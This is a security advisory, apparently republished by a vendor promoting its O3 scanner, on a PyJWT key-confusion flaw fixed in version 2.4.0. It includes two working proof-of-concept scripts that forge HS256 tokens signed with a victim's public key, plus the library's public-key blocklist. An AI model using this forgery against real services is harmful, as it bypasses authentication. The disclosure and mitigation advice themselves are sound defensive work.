GHSA-ffqj-6fqr-9h24
HIGHKey confusion through non-blocklisted public key formats
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
pyjwtReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Impact
What kind of vulnerability is it? Who is impacted?
Disclosed by Aapo Oksman (Senior Security Specialist, Nixu Corporation).
PyJWT supports multiple different JWT signing algorithms. With JWT, an attacker submitting the JWT token can choose the used signing algorithm.
The PyJWT library requires that the application chooses what algorithms are supported. The application can specify "jwt.algorithms.get_default_algorithms()" to get support for all algorithms. They can also specify a single one of them (which is the usual use case if calling jwt.decode directly. However, if calling jwt.decode in a helper function, all algorithms might be enabled.)
For example, if the user chooses "none" algorithm and the JWT checker supports that, there will be no signature checking. This is a common security issue with some JWT implementations.
PyJWT combats this by requiring that the if the "none" algorithm is used, the key has to be empty. As the key is given by the application running the checker, attacker cannot force "none" cipher to be used.
Similarly with HMAC (symmetric) algorithm, PyJWT checks that the key is not a public key meant for asymmetric algorithm i.e. HMAC cannot be used if the key begins with "ssh-rsa". If HMAC is used with a public key, the attacker can just use the publicly known public key to sign the token and the checker would use the same key to verify.
From PyJWT 2.0.0 onwards, PyJWT supports ed25519 asymmetric algorithm. With ed25519, PyJWT supports public keys that start with "ssh-", for example "ssh-ed25519".
import jwt
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import ed25519
# Generate ed25519 private key
private_key = ed25519.Ed25519PrivateKey.generate()
# Get private key bytes as they would be stored in a file
priv_key_bytes =
private_key.private_bytes(encoding=serialization.Encoding.PEM,format=serialization.PrivateFormat.PKCS8,
encryption_algorithm=serialization.NoEncryption())
# Get public key bytes as they would be stored in a file
pub_key_bytes =
private_key.public_key().public_bytes(encoding=serialization.Encoding.OpenSSH,format=serialization.PublicFormat.OpenSSH)
# Making a good jwt token that should work by signing it with the
private key
encoded_good = jwt.encode({"test": 1234}, priv_key_bytes, algorithm="EdDSA")
# Using HMAC with the public key to trick the receiver to think that the
public key is a HMAC secret
encoded_bad = jwt.encode({"test": 1234}, pub_key_bytes, algorithm="HS256")
# Both of the jwt tokens are validated as valid
decoded_good = jwt.decode(encoded_good, pub_key_bytes,
algorithms=jwt.algorithms.get_default_algorithms())
decoded_bad = jwt.decode(encoded_bad, pub_key_bytes,
algorithms=jwt.algorithms.get_default_algorithms())
if decoded_good == decoded_bad:
print("POC Successfull")
# Of course the receiver should specify ed25519 algorithm to be used if
they specify ed25519 public key. However, if other algorithms are used,
the POC does not work
# HMAC specifies illegal strings for the HMAC secret in jwt/algorithms.py
#
# invalid_strings = [
# b"-----BEGIN PUBLIC KEY-----",
# b"-----BEGIN CERTIFICATE-----",
# b"-----BEGIN RSA PUBLIC KEY-----",
# b"ssh-rsa",
# ]
#
# However, OKPAlgorithm (ed25519) accepts the following in
jwt/algorithms.py:
#
# if "-----BEGIN PUBLIC" in str_key:
# return load_pem_public_key(key)
# if "-----BEGIN PRIVATE" in str_key:
# return load_pem_private_key(key, password=None)
# if str_key[0:4] == "ssh-":
# return load_ssh_public_key(key)
#
# These should most likely made to match each other to prevent this behavior
import jwt
#openssl ecparam -genkey -name prime256v1 -noout -out ec256-key-priv.pem
#openssl ec -in ec256-key-priv.pem -pubout > ec256-key-pub.pem
#ssh-keygen -y -f ec256-key-priv.pem > ec256-key-ssh.pub
priv_key_bytes = b"""-----BEGIN EC PRIVATE KEY-----
MHcCAQEEIOWc7RbaNswMtNtc+n6WZDlUblMr2FBPo79fcGXsJlGQoAoGCCqGSM49
AwEHoUQDQgAElcy2RSSSgn2RA/xCGko79N+7FwoLZr3Z0ij/ENjow2XpUDwwKEKk
Ak3TDXC9U8nipMlGcY7sDpXp2XyhHEM+Rw==
-----END EC PRIVATE KEY-----"""
pub_key_bytes = b"""-----BEGIN PUBLIC KEY-----
MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAElcy2RSSSgn2RA/xCGko79N+7FwoL
Zr3Z0ij/ENjow2XpUDwwKEKkAk3TDXC9U8nipMlGcY7sDpXp2XyhHEM+Rw==
-----END PUBLIC KEY-----"""
ssh_key_bytes = b"""ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJXMtkUkkoJ9kQP8QhpKO/TfuxcKC2a92dIo/xDY6MNl6VA8MChCpAJN0w1wvVPJ4qTJRnGO7A6V6dl8oRxDPkc="""
# Making a good jwt token that should work by signing it with the private key
encoded_good = jwt.encode({"test": 1234}, priv_key_bytes, algorithm="ES256")
# Using HMAC with the ssh public key to trick the receiver to think that the public key is a HMAC secret
encoded_bad = jwt.encode({"test": 1234}, ssh_key_bytes, algorithm="HS256")
# Both of the jwt tokens are validated as valid
decoded_good = jwt.decode(encoded_good, ssh_key_bytes, algorithms=jwt.algorithms.get_default_algorithms())
decoded_bad = jwt.decode(encoded_bad, ssh_key_bytes, algorithms=jwt.algorithms.get_default_algorithms())
if decoded_good == decoded_bad:
print("POC Successfull")
else:
print("POC Failed")
The issue is not that big as algorithms=jwt.algorithms.get_default_algorithms() has to be used. However, with quick googling, this seems to be used in some cases at least in some minor projects.
Patches
Users should upgrade to v2.4.0.
Workarounds
Always be explicit with the algorithms that are accepted and expected when decoding.
References
Are there any links users can visit to find out more?
For more information
If you have any questions or comments about this advisory:
- Open an issue in https://github.com/jpadilla/pyjwt
- Email José Padilla: pyjwt at jpadilla dot com
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | pyjwt | ≥ 1.5.0&&< 2.4.0 | 2.4.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for pyjwt. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update pyjwt to 2.4.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-ffqj-6fqr-9h24 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-ffqj-6fqr-9h24 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-ffqj-6fqr-9h24. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-ffqj-6fqr-9h24 in your dependencies?
O3 detects GHSA-ffqj-6fqr-9h24 across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.